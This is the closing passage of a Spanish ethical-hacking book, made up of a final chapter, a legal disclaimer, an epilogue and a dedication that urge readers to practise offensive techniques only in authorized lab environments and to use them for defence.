Los deepfakes han pasado de ser una curiosidad tecnológica a una herramienta ofensiva de primer nivel. Su combinación con ingeniería social crea un vector de ataque extremadamente convincente y difícil de detectar. En ciberseguridad ofensiva, dominar estas técnicas en laboratorio permite preparar defensas antes de que un adversario real las use con éxito.

💡 **TIP Black-Hat Ético:** si una imagen vale mil palabras, un deepfake convincente puede valer un millón… o costar millones.

# Capítulo 37 – Cierre, Despedida y Declaración Final

*Reflexiones finales, responsabilidad y el verdadero sentido del hacking ético*

### El viaje que hemos hecho juntos

A lo largo de este libro, hemos recorrido técnicas, herramientas y tácticas que, en manos equivocadas, podrían causar daños inmensos. Desde los ataques más básicos de reconocimiento hasta las técnicas más agresivas de explotación, exfiltración y persistencia, hemos visto **cómo operan los atacantes reales** y, más importante, **cómo detectar, prevenir y mitigar esas acciones**.

Si llegaste hasta aquí, ya no eres la misma persona que empezó este viaje:

 Sabes cómo se piensa, se prepara y se ejecuta una operación ofensiva.

 Conoces las vulnerabilidades más comunes en redes, sistemas, aplicaciones y personas.

 Puedes construir entornos de laboratorio para recrear escenarios realistas sin poner en riesgo sistemas reales.

### El propósito de este libro

Este no es un manual para “hackear por diversión” ni un catálogo para delinquir. El propósito central es

**educar y entrenar** para que las personas encargadas de la seguridad informática puedan **ponerse en la piel de un atacante** y así anticipar, reforzar y blindar sus sistemas.

La **Biblia Negra del Ethical Hacking** quiere ser una herramienta para:

 Profesionales de ciberseguridad que buscan llevar sus habilidades al siguiente nivel.

 Equipos de respuesta a incidentes que necesitan entender las técnicas del adversario.  Investigadores y entusiastas que quieren aprender de manera controlada y ética.

### Importancia del laboratorio controlado

Todo lo que hemos practicado debe ejecutarse en **entornos cerrados y aislados**, como:  Máquinas virtuales en redes internas sin acceso a Internet.

 Servidores vulnerables creados para pruebas, como Metasploitable o DVWA.

 Redes privadas controladas por el pentester o la organización que contrata la auditoría.

Un entorno de laboratorio:

 **Previene daños colaterales**.

 Evita comprometer sistemas de terceros.

 Permite repetir las pruebas sin consecuencias legales.

### Declaración y responsabilidad legal

⚠ **DECLARACIÓN LEGAL IMPORTANTE:** El autor de este libro, el editor y cualquier persona asociada **NO se hacen responsables** de las acciones que el lector pueda realizar fuera del contexto legal y autorizado. Aplicar cualquiera de las técnicas explicadas en sistemas o redes que no sean de tu propiedad, o sin el consentimiento explícito del propietario, es **ILEGAL** en la mayoría de países y puede resultar en:

 Multas muy elevadas.  Penas de prisión.

 Inhabilitación profesional.

 Daños irreparables a tu reputación.

### Hacking ético vs. hacking criminal

La diferencia entre un hacker ético y uno criminal **no está en la técnica, sino en el contexto y la intención**.

 Un hacker ético tiene **autorización por escrito**, documenta cada paso y reporta sus hallazgos.

 Un hacker criminal oculta su identidad, no busca consentimiento y persigue fines personales o destructivos.

En un pentest, tu trabajo es **ser el atacante, pero con contrato y límites claros**.

### La mentalidad correcta

Un buen pentester:

Piensa como atacante.

Actúa como profesional.

 Aprende siempre, pero respeta la ley.

 Comparte conocimientos para fortalecer la comunidad de ciberseguridad.

Recuerda: **la curiosidad no es excusa para la ilegalidad**.

### Recomendaciones para seguir aprendiendo

 Practicar en plataformas como Hack The Box, TryHackMe, VulnHub.  Mantenerse actualizado en exploits, parches y CVEs.

 Participar en CTFs (Capture The Flag) para mejorar habilidades ofensivas y defensivas.  Seguir investigando en OSINT, ingeniería inversa, malware y respuesta a incidentes.

### El lado humano de la ciberseguridad

Más allá del código y los exploits, la ciberseguridad es un trabajo que **protege vidas, datos y recursos**. Un ataque puede:

 Robar identidades.  Afectar hospitales.

 Poner en riesgo infraestructuras críticas.

Por eso, entender el “lado oscuro” es una responsabilidad que debe asumirse con **madurez ética**.

### Mensaje final del autor

Querido lector: Este libro no es el final de un camino, sino el inicio de una responsabilidad. Ahora que conoces las armas, tu tarea es **ser un guardián, no un depredador**. Cada exploit que aprendas debe ir acompañado de una pregunta:

“¿Cómo puedo usar esto para proteger, no para destruir?”

Si alguna vez dudas sobre la legalidad o moralidad de una acción, detente y evalúa. El conocimiento te hace poderoso, pero el autocontrol te hace profesional.

## DISCLAIMER EXTENDIDO

 **Todo** el contenido aquí descrito debe ejecutarse únicamente en entornos de laboratorio controlados.

 **Nunca** ataques sistemas en producción o redes ajenas sin autorización escrita.

 Este libro tiene un **fin exclusivamente educativo** para enseñar cómo piensan y operan los delincuentes, y así diseñar mejores defensas.

 El uso indebido de esta información es responsabilidad única del lector.

💡 **TIP Final Black-Hat Ético:** Un hacker sin ética es un delincuente. Un hacker con ética es un escudo invisible que protege en silencio.

# Epílogo

*Para quienes caminan entre la luz y la sombra*

Cuando iniciamos este recorrido, sabías que no sería un camino fácil. La seguridad ofensiva, cuando se estudia con profundidad, exige más que solo conocimiento técnico: pide paciencia, disciplina y una mente capaz de mirar donde otros no miran.

Hemos explorado técnicas que, mal utilizadas, pueden destruir. Hemos visto el poder que tiene una simple línea de código, una conexión mal asegurada o una palabra dicha en el momento preciso. Y también hemos entendido que la diferencia entre ser un **creador** y un **destructor** radica en un detalle invisible: **tu intención**.

El verdadero hacker ético vive en una frontera constante. No es un santo ni un criminal, sino alguien que conoce la oscuridad para defender la luz. La curiosidad lo guía, pero la ética lo detiene donde otros cruzarían sin pensar.

Este libro no pretende convertirte en un “experto en romper cosas”, sino en un **arquitecto de seguridad**, en un observador paciente que sabe anticipar los movimientos de un adversario porque ya los ha ensayado cien veces en su laboratorio.

Recuerda que **la seguridad no es un estado, es un proceso**. No hay sistemas invulnerables, solo defensas lo suficientemente fuertes como para disuadir a un atacante… o para hacerlo fracasar antes de que cause daño.

En el mundo real, nunca sabrás cuántos ataques detuviste. Quizá nadie te dé las gracias, porque las mejores victorias son invisibles. Pero tú sabrás, en silencio, que estuviste ahí, que detectaste, que preveniste, que protegiste.

Y eso, amigo lector, es el mayor reconocimiento que puede recibir un profesional de la ciberseguridad: **ser un guardián anónimo, un centinela que nunca duerme.**

**Dedicatoria Final:** A todos los que creen que el conocimiento es un arma y, aun así, deciden usarlo como un escudo. A los que protegen sin que nadie lo sepa. A quienes eligen ser parte de la solución, aunque sea más tentador ser parte del problema.

💡 **Reflexión final:** El día que uses todo lo aprendido para salvar a alguien de un desastre digital, entenderás que este libro no era un manual de ataque, sino un juramento silencioso de defensa.

Alejandro G Vera, Experto Universitario enn Ethical Hacking (UTN)

¿Quieres el PDF? [La\_biblia\_negra\_del\_Ethical\_Hacking.pdf](file://localhost/c%3A/Users/Alexx/Desktop/Libro%20La%20biblia%20negra%20del%20Ethical%20Hacking/La_biblia_negra_del_Ethical_Hacking.pdf)